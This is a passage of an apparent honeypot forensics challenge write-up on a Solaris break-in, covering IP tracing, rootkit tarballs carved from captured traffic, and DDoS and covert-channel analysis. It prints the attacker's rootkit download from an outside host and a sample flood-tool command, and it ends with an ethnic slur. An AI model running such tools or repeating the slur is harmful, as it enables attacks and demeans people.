DENIED [RST] |
|
64.24.196.50 |
UNKNOWN |
RE-CON / 80,8080,3128 / 4x |
DENIED [RST] |
|
64.231.37.135 |
Windows 2000 (8) |
RE-CON / 1433 / 3x |
DENIED [RST] |
|
24.167.44.129 |
Windows XP Pro, Windows 2000 Pro |
RE-CON / 1433 / 3x |
DENIED [RST] |
|
67.36.28.116 |
Windows 2000 (4) |
RE-CON / 1433 / 3x |
DENIED [RST] |
|
61.219.90.180 |
Linux 2.4.2 - 2.4.14 (1) |
BREAKIN / 1524 / n++ |
ACCEPT [SYN,ACK] |
|
62.211.66.16 |
UNKNOWN |
FTP / 21 / |
ACCEPT [SYN,ACK] |
|
62.211.66.53 |
UNKNOWN |
FTP / 21 / |
ACCEPT [SYN,ACK] |
|
192.18.99.122 |
UNKNOWN |
FTP / 21 / |
ACCEPT [SYN,ACK] |
|
206.252.192.195 |
FreeBSD 4.3 - 4.4PRERLS |
IRC / 6667 |
ACCEPT [SYN,ACK] |
|
80.117.14.44 |
Windows XP Pro |
IRC / 7000 |
ACCEPT [SYN,ACK] |
Next I take random nslookup, whois and dig queries myself of the probable IP address on the table and see what turns up:
Removing the 2 right octets of the IP address to get the upstream provider, since probably most of the above IP address are dynamically allocated or down by now just in case.
61.144.145.243
[root@katana /tmp]# /bin/dig 0.0.144.61.in-addr.arpa@ns.ripe.net any
Non-authoritative answer
Query for 0.0.144.61.in-addr.arpa type=255 class=1
144.61.in-addr.arpa NS (Nameserver) ns.guangzhou.gd.cn
144.61.in-addr.arpa NS (Nameserver) dns.guangzhou.gd.cn
.
..
<cut>
61.221.179.26
[root@katana /tmp]# /bin/dig 0.0.221.61.in-addr.arpa@ns.ripe.net any
Non-authoritative answer
Query for 0.0.221.61.in-addr.arpa type=255 class=1
221.61.in-addr.arpa NS (Nameserver) rns2.twnic.net
221.61.in-addr.arpa NS (Nameserver) rns1.twnic.net
.
..
<cut>
64.24.196.50
[root@katana /tmp]# /bin/dig 0.0.24.64.in-addr.arpa@202.47.132.6 any
Non-authoritative answer
Recursive queries supported by this server
Query for 0.0.24.64.in-addr.arpa type=255 class=1
0.24.64.in-addr.arpa SOA (Zone of Authority)
Primary NS: ns1.starnetusa.net
Responsible person: root@starnetusa.net
serial:2003042201
refresh:28800s (8 hours)
retry:7200s (2 hours)
expire:604800s (7 days)
minimum-ttl:86400s (24 hours)
.
..
<cut>
62.211.66.16 – 53
[root@katana /tmp]# /bin/dig 0.0.211.62.in-addr.arpa@ns.ripe.net any
Authoritative Answer
Authoritative answer: Host doesn't exist
Query for 0.0.211.62.in-addr.arpa type=255 class=1
211.62.in-addr.arpa SOA (Zone of Authority)
Primary NS: dns.opb.interbusiness.it
Responsible person: domain@cgi.interbusiness.it
serial:2002121702
refresh:10800s (3 hours)
retry:3600s (60 minutes)
expire:1296000s (15 days)
minimum-ttl:86400s (24 hours)
.
..
<cut>
206.252.192.195
[root@katana /tmp]# /bin/dig 0.0.252.206.in-addr.arpa@202.47.132.6 any
Non-authoritative answer
Recursive queries supported by this server
Query for 0.0.252.206.in-addr.arpa type=255 class=1
0.252.206.in-addr.arpa SOA (Zone of Authority)
Primary NS: ns0.verio.net
Responsible person: hostmaster@verio.net
serial:2003051600
refresh:86400s (24 hours)
retry:3600s (60 minutes)
expire:2592000s (30 days)
minimum-ttl:14400s (4 hours)
.
..
<cut>
80.117.14.44
[root@katana /tmp]# /bin/dig 0.0.117.80.in-addr.arpa@ns.ripe.net any
Authoritative Answer
Authoritative answer: Host doesn't exist
Query for 0.0.117.80.in-addr.arpa type=255 class=1
117.80.in-addr.arpa SOA (Zone of Authority)
Primary NS: dns.opb.interbusiness.it
Responsible person: domain@cgi.interbusiness.it
serial:2002081202
refresh:10800s (3 hours)
retry:3600s (60 minutes)
expire:1296000s (15 days)
minimum-ttl:86400s (24 hours)
Now lets see IP address 61.219.90.180 using arin.net as NS since it’s the one successfully breaks the honeypot system.
[root@katana /tmp]# usr/bin/whois 61.219.90.180@arin.net > whois_attacker
OrgName: Asia Pacific Network Information Centre
OrgID: APNIC
Address: PO Box 2131
City: Milton
StateProv: QLD
PostalCode: 4064
Country: AU
NetRange: 61.0.0.0 - 61.255.255.255
CIDR: 61.0.0.0/8
NetName: APNIC3
NetHandle: NET-61-0-0-0-1
Parent:
NetType: Allocated to APNIC
NameServer: NS1.APNIC.NET
NameServer: NS3.APNIC.NET
NameServer: NS.RIPE.NET
NameServer: RS2.ARIN.NET
Comment: This IP address range is not registered in the ARIN database.
Comment: For details, refer to the APNIC Whois Database via
.
..
<cut>
Opps! Lets do a nslookup this time
[root@katana /tmp]#/usr/bin/nslookup 61.219.90.180 >> whois_attacker
Canonical name: 61-219-90-180.HINET-IP.hinet.net
Addresses:
61.219.90.180
.
..
<cut>
Wow! the CNAME of 61.219.90.180 is hinet.net it seems to tally one of the UDP (DNS) scan we’ve got on the filter a while back (packet frame 10), 168.95.1.14 -> 192.168.100.28 DNS Standard query response PTR 218-162-34-100.HINET-IP.hinet.net)that means our assessment’s correct that those DNS log by ethereal are indeed pre – probe and recon scans by attacker.
Lets go on further… using whois this time ns crsnic.net
[root@katana /tmp]#/usr/bin/whois hinet.net@ns.crsnic.net > attacker_at_crsnic
Whois Server Version 1.3
Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
HINET.NET.TW
HINET.NET
To single out one record, look it up with "xxx", where xxx is one of the
of the records displayed above. If the records are the same, look them up
with "=xxx" to receive a full display for each record.
>>> Last update of whois database: Fri, 16 May 2003 06:04:38 EDT <<<
.
..
<cut>
Using dig this time lets find out HINET.NET first since it fit our packet frame 10 description (168.95.1.14 -> 192.168.100.28 DNS Standard query response PTR 218-162-34-100.HINET-IP.hinet.net)
Authoritative Answer
Recursive queries supported by this server
Query for hinet.net type=255 class=1
hinet.net MX (Mail Exchanger) Priority: 0 netnews.hinet.net
hinet.net NS (Nameserver) hntp1.hinet.net
hinet.net NS (Nameserver) hntp3.hinet.net
hinet.net NS (Nameserver) dns.hinet.net
hinet.net SOA (Zone of Authority)
Primary NS: hntp1.hinet.net
Responsible person: hostmaster@hinet.net
serial:200305160
refresh:21600s (6 hours)
retry:7200s (2 hours)
expire:3600000s (410 days)
minimum-ttl:86400s (24 hours)
hinet.net NS (Nameserver) hntp1.hinet.net
hinet.net NS (Nameserver) hntp3.hinet.net
hinet.net NS (Nameserver) dns.hinet.net
netnews.hinet.net A (Address) 168.95.195.16
hntp1.hinet.net A (Address) 168.95.192.1
hntp3.hinet.net A (Address) 168.95.192.2
dns.hinet.net A (Address) 168.95.1.1
.
..
<cut>
Not enough so we focus on Authoritative Answers, and Let see what we’ve got.. Removing the 2 left IP address octet.. using dig we’ve got.
root@katana /tmp]# /usr/bin/dig 0.0.95.168.in-addr.arpa@202.47.132.6 any
Non-authoritative answer
Recursive queries supported by this server
Query for 0.0.95.168.in-addr.arpa type=255 class=1
0.95.168.in-addr.arpa SOA (Zone of Authority)
Primary NS: dns.hisys.hinet.net
Responsible person: hostmaster@hinet.net
serial:200303050
refresh:21600s (6 hours)
retry:7200s (2 hours)
expire:3600000s (410 days)
minimum-ttl:600s (10 minutes)
.
..
<cut>
Lets perform a reverse DNS lookup this time on Primary Name Server: dns.hisys.hinet.net and let see what turns up..
Canonical name: dns.hisys.hinet.net
Addresses: 203.69.209.1
Bingo! Another Find again the IP address 203.69.209.1 turns up on the filter list and attack our honeypot system using Linux 2.2.9 - 2.2.18. Please see table above.
Next we try whois again this time to 203.69.209.1 using ns apnic.net
[root@katana /tmp]# /usr/bin/whois 203.69.209.1@whois.apnic.net > whois_203692091
% [whois.apnic.net node-1]
% How to use this server http://www.apnic.net/db/
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
inetnum: 203.69.0.0 - 203.69.255.255
netname: HINET-TW
descr: CHTD, Chunghwa Telecom Co.,Ltd.
descr: Data-Bldg.6F, No.21, Sec.21, Hsin-Yi Rd.
descr: Taipei Taiwan 100
country: TW
admin-c: HN27-AP
tech-c: HN28-AP
remarks: This information has been partially mirrored by APNIC from
remarks: TWNIC. To obtain more specific information, please use the
remarks: TWNIC whois server at whois.twnic.net.
mnt-by: MAINT-TW-TWNIC
changed: hostmaster@twnic.net 19960212
status: ALLOCATED PORTABLE
source: APNIC
person: HINET Network-Adm
address: CHTD, Chunghwa Telecom Co., Ltd.
address: Data-Bldg. 6F, No. 21, Sec. 21, Hsin-Yi Rd.,
address: Taipei Taiwan 100
country: TW
phone: +886 2 2322 3495
phone: +886 2 2322 3442
phone: +886 2 2344 3007
fax-no: +886 2 2344 2513
fax-no: +886 2 2395 5671
e-mail: network-adm@hinet.net
nic-hdl: HN27-AP
remarks: same as TWNIC nic-handle HN184-TW
mnt-by: MAINT-TW-TWNIC
changed: hostmaster@twnic.net 20000721
source: APNIC
person: HINET Network-Center
address: CHTD, Chunghwa Telecom Co., Ltd.
address: Data-Bldg. 6F, No. 21, Sec. 21, Hsin-Yi Rd.,
address: Taipei Taiwan 100
country: TW
phone: +886 2 2322 3495
phone: +886 2 2322 3442
phone: +886 2 2344 3007
fax-no: +886 2 2344 2513
fax-no: +886 2 2395 5671
e-mail: network-center@hinet.net
nic-hdl: HN28-AP
remarks: same as TWNIC nic-handle HN185-TW
mnt-by: MAINT-TW-TWNIC
changed: hostmaster@twnic.net 20000721
source: APNIC
inetnum: 203.69.209.0 - 203.69.209.255
netname: HINET-NET
descr: Chunghwa Telecom Data communication Business Group
descr: No.21, Hsin-Yi Rd., sec. 1
descr: Taipei Taiwan
country: TW
admin-c: CYK-TW
tech-c: CYK-TW
mnt-by: MAINT-TW-TWNIC
remarks: This information has been partially mirrored by APNIC from
remarks: TWNIC. To obtain more specific information, please use the
remarks: TWNIC whois server at whois.twnic.net.
changed: network-adm@hinet.net 20030416
status: ASSIGNED NON-PORTABLE
source: TWNIC
person: Chung Yung Kang
address: Chunghwa Telecom Data communication Business Group
address: No.21, Hsin-Yi Rd., sec. 1
address: Taipei Taiwan
country: TW
phone: +886-2-2322-3442
fax-no: +886-2-2344-2513
e-mail: cykang@ms1.hinet.net
nic-hdl: CYK-TW
remarks: This information has been partially mirrored by APNIC from
remarks: TWNIC. To obtain more specific information, please use the
remarks: TWNIC whois server at whois.twnic.net.
changed: hostmaster@twnic.net 19990924
source: TWNIC
Performing this on HINET.NET.TW results to similar information. Now we know for sure that the attacker mounts a remote buffer overflow attack from this server in Taiwan.
We can virtually trace all of the above IP address to their respectively origin using the techniques above, all it takes is lots and lots of time.
Back on honeynet question number 3 and having the data above it is highly probable that the several systems on the table are use to mount the attack on the honeypot probably previously owned system by the attacker. And as standard blackhat technique, before attempting to break a target system they usually performed initial network probe or scan. So it seems fine to speculate that the above IP address; before the break in (highlighted in red) are utilized in the purpose of network probe or reconnaissance before the successful remote buffer overflow by 61.219.90.180 A Linux Server from Taiwan. Details of the buffer overflow are previously discussed subtitle ''Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump'' above.
D. Attack Sequence Diagram (honeynet question 4)
E. Breaking ‘’skillz’’ Inside Downloaded Tar Balls (honeynet question 5)
My first concern on the keystroke dump from the logs pertains to honeynet question number five (5) my initial theory is that somewhere along the logs is the source code of the program so having the keystrokes as guide I followed the packet stream. Below is the process taken.
TCP stream from 62.211.66.53:80
Stripped (384 bytes) original compressed binary tar ball file size Original Content Length
(1884160 - TCP Stream Actual Data size)
HTTP request to get the actual file size of the tar ball sol.tar.gz using wget.
GET /bobzz/sol.tar.gz HTTP/1.0
User-Agent: Wget/1.5.3
Host: 62.211.66.53:80
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 29 Nov 2002 15:45:29 GMT
Server: Apache/1.3.26 (Unix)
Last-Modified: Fri, 15 Nov 2002 11:11:26 GMT
ETag: "4197671-1cc000-3dd4d65e"
Accept-Ranges: bytes
Content-Length: 1884160
Connection: close
Content-Type: application/x-tar
Content-Encoding: x-gzip
[root@katana /tmp]# /bin/dd if=sol_orig.tar.gz of=sol.tar bs=1 count=1884160 skip=384
1884160+0 records in
1884160+0 records out
TCP Stream from 62.211.66.55:80
Another HTTP Download from day3.log. Stripped (354) original binary tar ball file size
Original Content Length (2354176 - TCP Stream actual data size)
HTTP request to get the actual file size of the tar ball psy.tar using wget.
GET /bobzz/psy.tar HTTP/1.0
User-Agent: Wget/1.5.3
Host: 62.211.66.55:80
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 01 Dec 2002 22:56:11 GMT
Server: Apache/1.3.26 (Unix)
Last-Modified: Tue, 26 Nov 2002 13:47:13 GMT
ETag: "26ae20-23ec00-3de37b61"
Accept-Ranges: bytes
Content-Length: 2354176
Connection: close
Content-Type: application/x-tar
[root@katana /tmp]# /bin/dd if=psy_orig.tar of=psy.tar bs=1 count=2354176 skip=354
2354176+0 records in
2354176+0 records out
Next I verified the data...
root@katana /tmp]# /usr/bin/file sol.tar psy.tar
sol.tar: GNU tar archive
psy.tar: POSIX tar archive
root@katana /tmp]# /bin/tar –xvf sol.tar
.
..
root@katana /tmp]# /bin/tar –xvf psy.tar
Decompressing the binaries reveals the tools and rootkits used by the attacker. sol.tar contain the precompiled SUN O.S binaries while psy.tar contain the source code of psyBNC 2.3.1, other files like dlp is an auto script with one purpose deleting logs, ipv6sun is also an auto script commented in Italian which I think IRC ipv4 tunnel to ipv6. Still looking for the source code for question 5, but no luck but after careful investigation, solbnc and solsch a precompiled SUN O.S binaries bore striking similarities, strings results both to this particular data. <note: have the word skillz in them>
Usage: %s <dst> <src> <size> <number>
Ports are set to send and receive on port 179
dst:
Destination Address
src:
Source Address
size:
Size of packet which should be no larger than 1024 should allow for xtra header info thru routes
num:
packets
Could not resolve %s fucknut
ICMP
jess
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
lpsched
in.telne
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
If we translate this plainly it will take argument from command line like this:
# ./solbnc 80.117.14.44 127.0.0.1 1016 65535
To better understand the innards of the binary reverse engineering is useful and since time is lacking I’ll take the other route around using my trusted network protocol analyzer.
Again I have to filter day1.logs.gz with filter ip.dst eq 192.168.100.28 or ip.src eq 192.168.100.28 and ip.proto eq 0x01 ICMP save the file.
I run snort to dump the application layer and second layer information of the save file using and snort IDS reported attacks as: ICMP PING SPEEDERA and ICMP Large ICMP Packet. Here’s a sample output from snort.
[**] ICMP PING speedera [**]
11/30-02:16:04.163550 63.123.77.194 -> 192.168.100.28
ICMP TTL:52 TOS:0x0 ID:44852 IpLen:20 DgmLen:84
Type:8 Code:0 ID:11632 Seq:62483 ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 ................
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 ........ !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F 89:;<=>?
[**] ICMP Large ICMP Packet [**]
11/29-23:59:52.338046 192.168.100.28 -> 217.116.38.10
ICMP TTL:255 TOS:0x0 ID:16475 IpLen:20 DgmLen:1044 DF
Type:0 Code:0 ID:6666 Seq:0 ECHO REPLY
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 73 6B 69 6C 6C 7A 00 00 00 00 00 00 ....skillz......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
With lots of ethereal acrobatics we come to this conclusion that the purpose of ICMP packets with “skillz” in them is to perform a Denial of Service attack to random IP address from the certain source where the binary solbnc is installed. A sample run might look like this:
src ip: honeypot
dest ip: random
1. (src ip) solbnc------->(dest ip) utilized random DNS queries
2. (src ip) DDos with large packet storm of ICMP (Echo (ping) reply) packets (1016 bytes) with “skillz” in them.
F. Covert Datagrams (honeynet question 6)
1. Snort Application Layer dump
On question number 6 of the honeynet project I observed several peculiarities besides unusual IPv6 traffic (encapsulated on IPv4 Packet), the ICMP PING SPEEDERA, ICMP Large ICMP Packet and DDOS shaft synflood reported by snort IDS. Being an avid old timer Phrack subscriber I remember about project (Loki) (Phrack Magazine Volume Seven, Issue Fifty-Nine – Zero Six) using covert channel on ICMP. The difference here is that the attacker conceals a covert port scan or data transfer to a covert IP address on the UDP data encapsulated inside of the IP datagrams. Heres a sample packet using snort to dump of the application layer.
12/02-04:18:38.022980 192.168.100.28:14139 -> 195.130.233.20:7534
UDP TTL:255 TOS:0x0 ID:50131 IpLen:20 DgmLen:1052 DF
Len: 1032
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 32 38 34 00 00 00 00 00 32 38 34 00 ....284.....284.
.
..
<cut>
00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 79 ..............(y
05 00 00 00 45 07 00 14 00 00 00 FF 00 02 23 34 ....E.........#4
00 01 31 24 FF BE F1 78 00 01 5C 40 00 00 00 00 ..1$...x..\@....
00 00 00 00 00 00 00 00 00 00 00 CF 00 00 00 F8 ................
00 00 00 CF 00 00 00 F8 00 00 00 E0 00 00 00 D7 ................
00 00 00 26 00 00 00 E0 00 00 00 D7 00 00 00 E0 ...&............
00 00 00 F8 00 00 00 CF C0 A8 64 1C 31 39 32 2E ..........d.192.
31 36 38 2E 31 30 30 2E 32 31 35 00 00 00 00 00 168.100.215.....
00 00 00 00 00 03 AE D8 00 00 04 30 00 03 97 80 ...........0....
Figure 1.
2. DDOS Shaft Reference My Analysis
This was observed after attacker installed rootkit to our honeypot: Snort Reported DDOS shaft synflood / x-ref arachnids 253 [1:SID_241:2]
Randomly Scan IP Address and Random Ports and Syn Flood Them.
Example:
Source 192.168.100.28 Attacker
Destination: 195.130.233.20 Victim
Attacker (Sends TCP Flags (0x002)SYN + DEST. PORT) -------> Victim
Victim (Responds TCP Flags [SYN] OR [SYN,ACK] If DEST.PORT is open)
Victim (Responds TCP Flags [RST,ACK] If DEST.PORT is close)
1. Attacker sends sample packet storm (a)
to as many port as fast as possible
(a)
****Ethereal Dump****
Ether Field:
Type: IP (0x0800)
trailer 555555555555
IP Field:
IP Version: 4
Differentiated Service Field: 0x00 (DSCP 0x00: Default; ECN 0x00)
Identification:0xd153
Flags: 0x04 DF Set
Fragment Offset:0
TTL: --Default TTL
Protocol: TCP (0X06)
Src IP: Attacker
Dst IP: Victim / Random
TCP Field:
Src Port: Random (RFC 1070) example 31337
DSt Port: Random (RF 1070) example 7 (Echo)
Seq = 0 Ack = 0 WindowSize = 65535 (0xFFFF) Len = 0
Flags: 0X002 (SYN)
****Snort Dump****
[Xref => arachnids 253]
[**] [1:241:2] DDOS shaft synflood [**]
[Classification: Attempted Denial of Service] [Priority: 2]
12/02-03:55:57.715035 ATTACKER:SRC_PORT -> VICTIM:DST_PORT
TCP TTL:30 TOS:0x0 ID:16346 IpLen:20 DgmLen:40 DF(yes)
******S* Seq: 0x28374839 Ack: 0x7CC2CC4F Win: 0xFFFF TcpLen: 20
2. Victim Responds
****Ethereal Dump****
Ether Field:
Type: IP (0x0800)
Trailer: 000000000000
IP Field:
IP Version: 4
Differentiated Service Field: 0x00 (DSCP 0x00: Default; ECN 0x00)
Identification: 0x0000
Flags: 0x04 DF Set
Fragment Offset:0
TTL: --Default TTL
Protocol: TCP (0x06)
Src IP: Victim / Random
Destination: Attacker
TCP Field:
Src Port: 7
Dst Port: 31337
Attacker Know if the Destination Port is:
Seq = 0 Ack = 1 WindowSize = 0 Len = 0
Flags [RST,ACK] If not Open
Seq = 0 Ack = 1 WindowSize = 65535 (0xFFFF) Len = 0
Flags [SYN] or [SYN,ACK] if Open
Note: This can Be easily Followed by Ethereal powerful SEQ/ACK Analysis By Hand Of Course:-{
My interpretation is that the covert data inside the UDP data portion encapsulated on the IPv4 Datagrams (192.168.100.215) see figure 1 above receive whatever the response from the destination IP address 195.130.233.20 Instead of the honeypot (192.168.100.28) combine with the packet storm created by the DDOS shaft synflood (which I think a double purpose tools as a denial of service and stealth port scanner), it can bypass Firewalls and IDS system installed since it fools the receiving end by forging the packet as a legitimate UDP request. Of course I may be wrong in here so my advance apology.
G. La Gringo y Nacionalista Partida Con Retarded (honeynet question 7)
‘’Nationality is according to Webster is the Ethnic Group or Race of a Certain Country.
Attacker refers to the Scripty.
TAIWAN refers to TIE TWO : -)’’
Before the break in I took note several IP address that corresponds to random DNS query, and having the filter, the table (table timeline), the keystroke I recovered, the IRC chat sessions, binaries, source codes, and the whois, dig, and nslookup queries and random translations of the chat logs. I still cannot ascertain if I’m 100% accurate that the nationality of the attacker is ITALIAN. But I know for sure that the attacker gain super user status to our honeypot from remote buffer overflow from a computer in TAIWAN. This doesn’t mean that the attacker is a Chinese because on the IRC sessions recovered they are speaking Italian, and the IP address used from most of the recon or pre – probe scans are from Italy, but according to the documentation of the psyBNC source code.
“” psyBNC allows you to set a user or channel as translation source/dest. So, everything you type, will be automatically translated to the language your counterpart talks. Same is with the text they talk, it also will be translated.”
psyBNC also store logs of the sessions. The commands are summarize below. We’ll also create something like rough truth table of analysis taken and you can see my point and you be the judge yourselves. Of course I may be always wrong here.
2. Random translation sample taken from IRC session
IT
io me son fatto una tipa ieri sera in carne e ossa
ENG
I me son made one tipa yesterday evening in meat and boneses
IT
ho mandato un sms ho mandata a fanculo
ENG
I have sent a sms I have sent to fanculo
IT
we senti
ENG
we you feel
IT
tienilo kiuso
ENG
you hold it kiuso
IT
stasera mi collego
ENG
this evening I am connected
3. Fact from psyBNC Documentation
Commands for this purpose are:
/ADDTRANSLATE [network~]#channel/user :language-from language-to
language can be:
en_de ENGLISH TO GERMAIN
en_it ENGLISH TO ITALIAN
en_fr ENGLISH TO FRENCH
en_pt ENGLISH TO PORTUGESE
de_en GERMAN TO ENGLISH
it_en ITALIAN TO ENGLISH
fr_en FRENCH TO ENGLISH
pt_en PORTUGESE TO ENGLISH
Examples:
/TRANSLATE #bayern :de_en en_de
Result would be, you would get both the german text spoken on #bayern as also the english text.
In return, everything you would type in english to #bayern, would be posted in german to the channel.
You can remove a Translation by:
/DELTRANSLATE (Number)
from the list displayed by
/LISTTRANSLATE.
Searching and analyzing the psyBNC session logs if attacker after installing the rootkits issues command like /TRANSLATE, /DELTRANSLATE, and /LISTRANSLATE is NILL,
so our first assumption is…
4. Truth or Lies or Both ( assumption one )
Attacker comes from Taiwan but Speaks Italian == Nationality is not Chinese but geographically attackers from Taiwan and speaks Italian.
Therefore our Truth Table == Nationality is not Chinese if we’re basing to the geographical location of the server because the attacker speak Italian, Neither Italian because in all probability a Chinese attacker can as well speak other language like Italian. But if we’re basing on geographical location attacker is a Chinese, and if we base on the language spoken attacker is Italian. : -) Are you not confuse yet.
5. Fact from the Logs and Sample psyBNC session logs
‘’psyBNC store logs on the server where it is installed. Down below is what we’ve recovered.’’
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.2.1
PASS fargetta
NICK bobbinoz
USER ahaa "bobz" "192.168.100.28" :
kaZz
:irc-1.stealth.net 001 `Tony-H- :
Welcome to the Internet Relay Network `Tony-H-!-ahaa@host222-14.pool80117.interbusiness.it == 80.117.14.222
:irc-1.stealth.net 003 `Tony-H- :This server was created Fri Dec 28 2001 at 06:24:19 EST
.
..
<cut>
:-psyBNC!psyBNC@lam3rz.de NOTICE `Tony-H- :Sun Dec 1 15:44:08 :User ahaa quitted (from host222-14.pool80117.interbusiness.it)
USER ahaa ahaa 127.0.0.1 :nZ
NICK `Tony-H-
:irc-1.stealth.net 001 `Tony-H- :Welcome to the Internet Relay Network `Tony-H-!-ahaa@zoberius.example.net.mx
:irc-1.stealth.net 002 `Tony-H- :Your host is irc-1.stealth.net, running version 2.10.3p3/S02.3
:irc-1.stealth.net 003 `Tony-H- :This server was created Fri Dec 28 2001 at 06:24:19 EST
.
..
<cut>
And Here..
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.3.1
PASS pompini
NICK `OwnZ``
USER ahaa "bobz" "192.168.100.28" :
:OwnZ:-[1]
:irc6.edisontel.it 001 `OwnZ`` :Welcome to the Internet Relay Network `OwnZ``!~ahaa@host222-14.pool80117.interbusiness.it
:irc6.edisontel.it 003 `OwnZ`` :This server was created Thu Jul 4 2002 at 20:02:20 CEST
.
..
<cut>
I’ve notice that attacker used Italian sounding username and password and psyBNC resolving the IP address of the attacker to host222-14.pool80117.interbusiness.it. Ethereal captures the packet host222-14.pool80117.interbusiness.it as 80.117.14.222. refer to the dig query above and the table. I may be wrong again here if the attacker uses a bounce but Ethereal is Ethereal and I trust it. So our second assumption now is…
Attacker not Chinese because IP address 80.117.14.222, or host222-14.pool80117.interbusiness.it resolves to dns.opb.interbusiness.it an Italian website probably attacker is using dynamically assigned IP because of the host222-14.pool80117 word which I think modem pool, probably an ISP.
But what if the IP 80.177.14.222 is owned also by the attacker? If 80.177.14.222 is using cable modem, ISDN, BroadBand, DSL, and ADSL line the IP address allocated is static therefore It can be compromised and the attacker is probably not an Italian , but if dynamically assigned chances are not compromised and in did the attacker is Italian.
Therefore our Truth Table == Nationality is Italian if were basing the geographical location of the website, and the language spoken is Italian, but We can’t really be sure if the attacker is in did an Italian unless they gave me the logs of interbusiness.it.
On day3 log I’ve notice that the attacker using IP address 62.101.108.86 returns to our honeypot system this time using the rootkit (secure shell) ssh to port 5001 previously assigned by attacker from 61.219.90.180 with rootkit password as mixer since the attacker from IP 61.219.90.180 is supposed to be the only one to know the rootkit I assumed that the attacker is the same from IP 62.101.108.86 and according to p0f both box is running Linux, does add other profile to our attacker quite. Linux savvy.
Since I want to know the relation of the two IP address and what can I get from it I run a whois query on IP 62.101.108.96 using the same technique I used to 61.219.90.180 server from Taiwan.
[root@katana /tmp]# /usr/bin/whois 62.101.0.0@whois.ripe.net > whois_6210110896
whois -h whois.ripe.net 62.101.0.0 ...
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html
inetnum: 62.101.0.0 - 62.101.0.255
netname: SIAG
descr: Informatica Alto Adige Spa
descr: ISP and Software Producer
country: IT
admin-c: HP1314-RIPE
tech-c: RF3393-RIPE
tech-c: ET1482-RIPE
status: ASSIGNED PA
mnt-by: SIAG-MNT
changed: roberto.fabbri@siag.it 20000627
changed: hostmaster@ripe.net 20000710
source: RIPE
route: 62.101.0.0/19
descr: INFORMATICA-ALTO-ADIGE
origin: AS15584
mnt-by: AS1267-MNT
changed: hostmaster@iunet.it 20000911
source: RIPE
person: Hansjorg Piock-Ellena
address: Informatica Alto Adige Spa
address: Via Siemens 29
address: I-39100 Bolzano
address: Italy
phone: +39 0471 440110
fax-no: +39 0471 440156
e-mail: info@siag.it
nic-hdl: HP1314-RIPE
changed: sysadmin@siag.it 19990209
changed: hostmaster@nic.it 19990217
changed: hostmaster@nic.it 20000627
changed: netadmin@siag.it 20001115
source: RIPE
person: Edwin Thomaseth
address: Informatica Alto Adige
address: Via Siemens 29
address: Bolzano - Italy
phone: +39 0471 440111
fax-no: +39 0471 440156
e-mail: edwin.thomaseth@siag.it
nic-hdl: ET1482-RIPE
changed: hostmaster@flashnet.it 20000317
changed: roberto.fabbri@siag.it 20001115
source: RIPE
person: Roberto Fabbri
address: Informatica Alto Adige Spa
address: Via Siemens 29
address: I-39100 Bolzano
address: Italy
phone: +39 0471 440110
fax-no: +39 0471 440156
e-mail: roberto.fabbri@siag.it
nic-hdl: RF3393-RIPE
changed: hostmaster@flashnet.it 20000203
changed: roberto.fabbri@siag.it 20000516
changed: netadmin@siag.it 20001115
source: RIPE
That established another Mafioso connection ; - ) so my…
Attacker is Italian because the IP address used to access the rootkit which we assumed only the Attacker knows resolves to SIAG and ISP and Software producer in Italy (Above whois result).
Therefore our Truth Table == Attacker is most likely Italian because the geographical location of SIAG is Italy, but what if SIAG is also compromised by the attacker and using IP address from previously owned box around the world like 61.219.90.180 server from Taiwan. Therefore Attacker is Chinese ; - )
Thus we can’t established a precise information on the Nationality of the Attacker specially if the attacker utilized encrypted communication like ssh on the originating IP, unless they give me the logs of SIAG and backtrace all the way…we can’t read the ssh communication either.
Thaaaattss all Chink :- )
(I suggest reading the entire document to have a better perspective of the challenge)
Sun O.S. 5.8 on Sparc. I utilized three technique here using Ethereal, First the Ethernet Frame field which reveals the source / destination IP address Operating system but not complete it just say Sun, Second using Passive OS fingerprinting by decoding by hand the packets TTL, window size, maximum segment size, don’t fragment flags, window scaling, sackOK flag, and nop flag of the TCP/IP stack and comparing my result to Default TTL values of OS I’ve known (Please see References Section) and running p0f my Michal Zalewski. Third as revealed by the Attacker after the remote buffer overflow issuing a uname – a command by which honeypot replies SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10 and by the attacker downloading from Sun Microsystem Binary Patch, and downloading Sun OS rootkits as well. I also perform a file command to the binaries which confirm the honeypot OS. For complete details of the answer please go to Sub Title “Operating System Fingerprinting (Honeynet Question 1)”.
The Attacker performs a recon or probe first on the honeynet and from IP address 61.219.90.180 server from Taiwan, launch a remote buffer overflow which bind to port 1524 ingresslock.
For complete details of the answer please go to Sub Title ‘’Break In (Honeynet Question 2)’’.
If systems used for probe - recon we’ve got
203.69.233.93, 61.144.145.243, 61.221.179.26, 67.195.152.135, 203.239.31.60, 61.211.179.26, 64.24.196.50 .. and etc.
If systems used that actually gain super user status on the honeypot it was a Linux Server from Taiwan with IP 61.219.90.180.
